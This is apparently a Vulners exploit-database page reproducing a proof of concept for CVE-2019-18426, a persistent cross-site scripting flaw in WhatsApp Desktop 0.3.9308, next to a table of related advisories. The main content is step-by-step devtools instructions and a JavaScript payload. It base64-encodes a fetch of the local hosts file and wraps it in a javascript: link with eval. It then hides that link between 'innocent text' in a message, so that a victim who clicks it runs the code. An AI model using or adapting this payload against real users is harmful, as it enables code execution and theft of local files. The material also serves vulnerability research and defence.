Lucene search
+L

WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting Exploit

🗓️ 06 Apr 2020 00:00:00Reported by Gal WeizmanType 
zdt
 zdt
🔗 0day.today👁 81 Views

WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting Exploit. Steps: Open WhatsApp Web, search for "t=e.id", set breakpoint, paste exploit code, press F8

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2019-18426
5 Jun 201900:00
–attackerkb
nessus
Tenable Nessus
Android Buffer Overflow in WhatsApp (CVE-2019-3568)
8 Mar 202400:00
–nessus
nessus
Tenable Nessus
WhatsApp Desktop < 0.3.9309 Persistent Cross-Site Scripting (CVE-2019-18426)
15 May 202400:00
–nessus
bdu_fstec
BDU FSTEC
WhatsApp XSS
6 Jul 202200:00
–bdu_fstec
circl
Circl
CVE-2019-18426
4 Feb 202021:30
–circl
cisa_kev
CISA KEV Catalog
WhatsApp Cross-Site Scripting Vulnerability
23 May 202200:00
–cisa_kev
cnvd
CNVD
Facebook WhatsApp Cross-Site Scripting Vulnerability
23 Jan 202000:00
–cnvd
checkpoint_advisories
Check Point Advisories
WhatsApp Desktop Cross Site Scripting (CVE-2019-18426)
13 Jun 202200:00
–checkpoint_advisories
cve
CVE
CVE-2019-18426
21 Jan 202020:30
–cve
cvelist
Cvelist
CVE-2019-18426
21 Jan 202020:30
–cvelist
Rows per page
# Title: WhatsApp Desktop 0.3.9308 - Persistent Cross-Site Scripting
# Exploit Author: Gal Weizman
# Vendor Homepage: https://www.whatsapp.com
# Software Link: https://web.whatsapp.com/desktop/windows/release/x64/WhatsAppSetup.exe
# Software Link: https://web.whatsapp.com/desktop/mac/files/WhatsApp.dmg
# Version: 0.3.9308
# Tested On: Mac OS, Windows, iPhone
# CVE: https://nvd.nist.gov/vuln/detail/CVE-2019-18426

// step 1: open WhatsApp Web and enter a conversation (Will only work on WhatsApp Web source code as compiled with version 0.3.9308)
// step 2: open devtools and search in all files "t=e.id"
// step 3: after prettifying, set a breakpoint at the line where "t = e.id" can be found
// step 4: paste "https://example.com" in the text box and hit "Enter"
// step 5: when the code stops at the breakpoint, paste the following exploit code in the console and hit "Enter"

var payload = `(async function() {
    alert(navigator.userAgent);
    (async function() {
	    // read "file:///C:/windows/system32/drivers/etc/hosts" content
	    const r = await fetch(atob('ZmlsZTovLy9DOi93aW5kb3dzL3N5c3RlbTMyL2RyaXZlcnMvZXRjL2hvc3Rz'));
        const t = await r.text();
        alert(t);
    }())
}())`;

payload = `javascript:"https://example.com";eval(atob("${btoa(payload)}"))`;

e.__x_matchedText = payload;

e.__x_body = `
    Innocent text

    ${payload}

    More Innocent text
`;

// step 6: press F8 in order for the execution to continue
// result: a message should be sent to the victim that once is clicked will execute the payload above

// further information: https://github.com/weizman/CVE-2019-18426

#  0day.today [2020-07-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Apr 2020 00:00Current
8.3High risk
Vulners AI Score8.3
EPSS0.67859
81